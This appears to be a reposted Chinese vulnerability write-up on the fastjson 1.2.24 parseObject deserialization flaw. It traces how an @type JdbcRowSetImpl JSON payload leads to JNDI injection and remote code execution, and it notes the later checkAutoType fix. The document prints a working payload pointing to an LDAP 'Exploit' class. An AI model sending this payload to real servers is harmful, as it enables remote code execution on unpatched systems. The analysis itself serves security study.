漏洞分析 | fastjson反序列化漏洞初探之parseObject

admin 2024年11月11日23:00:54评论22 views字数 2240阅读7分28秒阅读模式
0x01 漏洞说明

这里就主要分析一下fastjson 1.2.24版本通过parseObject来完成的反序列化漏洞,利用方法是通过JNDI注入的方式实现RCE,由于高版本的jdk对ldap和rmi有限制,故本地使用jdk1.8.65验证。

fastjson是一个非常流行的库,它可以将数据在JSON和Java Object之间互相转换,我们常说的fastjson序列化就是将java对象转化为json字符串,而反序列化就是将json字符串转化为java对象。

而本文最终达到的效果是执行打开计算器的命令:

漏洞分析 | fastjson反序列化漏洞初探之parseObject

0x02 漏洞分析

fastjson反序列化漏洞产生的原因

主要是因为fastjon通过parseObject/parse将传入的字符串反序列化为Java对象时没有进行合理检查而导致执行了能够执行恶意命令的get/set方法。

序列化

User中包含三个内部变量:

漏洞分析 | fastjson反序列化漏洞初探之parseObject

然后通过JSON.toJSONString去输出序列化后的内容为:

{"@type":"org.example.User","age":19,"name":"test","sex":true}

在这里通过SerializerFeature.WriteClassName就能生成一个带有@type参数的Json数据,便于后续的fastjson攻击,因为fastjson利用的时候要添加一个@type参数。

漏洞分析 | fastjson反序列化漏洞初探之parseObject

反序列化

parseObject进行反序列化时会自动执行@type指定类的get和set方法,并且转换为@type指定的类。

漏洞分析 | fastjson反序列化漏洞初探之parseObject

经过分析,就发现了com.sun.rowset.JdbcRowSetImpl这个类可以被利用,主要用到的方法是setDataSourceName()和setAutoCommit()这两个方法。

漏洞分析 | fastjson反序列化漏洞初探之parseObject

漏洞分析 | fastjson反序列化漏洞初探之parseObject

漏洞利用分析

Payload:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit", "autoCommit":true}

json中指定了@type参数,故fastjson会尝试将该字符串反序列化为JdbcRowSetImpl类对象,并调用类中的set方法对dataSourceName和autoCommit属性进行赋值。

fastjson进行反序列化时,如果类中存在无参构造函数,则直接调用无参构造函数进行初始化类。若不存在无参构造函数,则会寻找参数最多的构造函数进行初始化类。

漏洞分析 | fastjson反序列化漏洞初探之parseObject

由于conn设置为null,所以setAutoCommit方法会进入else中,即调用 this.conn = this.connect();

漏洞分析 | fastjson反序列化漏洞初探之parseObject

在connect()中可以看到会调用JNDI的lookup函数,并且参数值为我们反序列化时传入的dataSourceName属性,dataSourceName传入值为ldap://localhost:9999/Exploit,所以最终会成功执行到我们编写的Exploit类。

漏洞分析 | fastjson反序列化漏洞初探之parseObject

0x03 Fastjson反序列化过程

进入parseObject之后进入parse方法,parse方法才是最终的反序列化方法:

漏洞分析 | fastjson反序列化漏洞初探之parseObject

漏洞分析 | fastjson反序列化漏洞初探之parseObject

在parse方法中初始化了一个DefaultJSONParser的类:

漏洞分析 | fastjson反序列化漏洞初探之parseObject

在DefaultJSONParser又初始化一个JSONScanner类,会将初始化后的放到对象lexer中,并将ch设置为‘{’,token设置为JSONTOKEN.LBRACE即12:

漏洞分析 | fastjson反序列化漏洞初探之parseObject

再次调用DefaultJSONParser的构造函数进行初始化操作,对相应的变量进行赋值,最终将初始化后的放入到parser对象中:

漏洞分析 | fastjson反序列化漏洞初探之parseObject

调用parser的parse()方法:

漏洞分析 | fastjson反序列化漏洞初探之parseObject

会再次调用parse(Object fieldName)方法,在这里面根据上一步中设置的token进行选择,当token为12是会进入parseObject(object, fieldName)方法中:

漏洞分析 | fastjson反序列化漏洞初探之parseObject

在parseObject(object, fieldName)中通过 scanSymbol 获取到 “@type”

漏洞分析 | fastjson反序列化漏洞初探之parseObject

再获取到payload中@type的值为"com.sun.rowset.JdbcRowSetImpl",并通过loadClass加载

漏洞分析 | fastjson反序列化漏洞初探之parseObject

随后会获取到JavaBeanDeserializer对象,进入JavaBeanDeserializer的deserialze方法:

漏洞分析 | fastjson反序列化漏洞初探之parseObject

在deserialze方法会调用parseField(parser, key, object, type, fieldValues)方法:

漏洞分析 | fastjson反序列化漏洞初探之parseObject

最终会调用到FieldDeserializer的setValue(object, value)方法:

漏洞分析 | fastjson反序列化漏洞初探之parseObject

在setValue中,根据我们传入的payload中的autoCommit字段选择JdbcRowSetImpl.setAutoCommit方法:

漏洞分析 | fastjson反序列化漏洞初探之parseObject

最终完成调用的操作:

漏洞分析 | fastjson反序列化漏洞初探之parseObject

调用了JdbcRowSetImpl的setAutoCommit方法:

漏洞分析 | fastjson反序列化漏洞初探之parseObject

最终造成了jndi注入:

漏洞分析 | fastjson反序列化漏洞初探之parseObject

0x04 漏洞修复

fastjson在1.2.25开始的版本中新增 public Class<?> checkAutoType(String typeName, Class<?> expectClass) 方法,denyList数组中的类均无法进行反序列化。但仍然存在绕过checkAutoType方法的途径。

END

原文始发于微信公众号(杂七杂八聊安全):漏洞分析 | fastjson反序列化漏洞初探之parseObject

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月11日23:00:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞分析 | fastjson反序列化漏洞初探之parseObjecthttp://cn-sec.com/archives/1889848.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息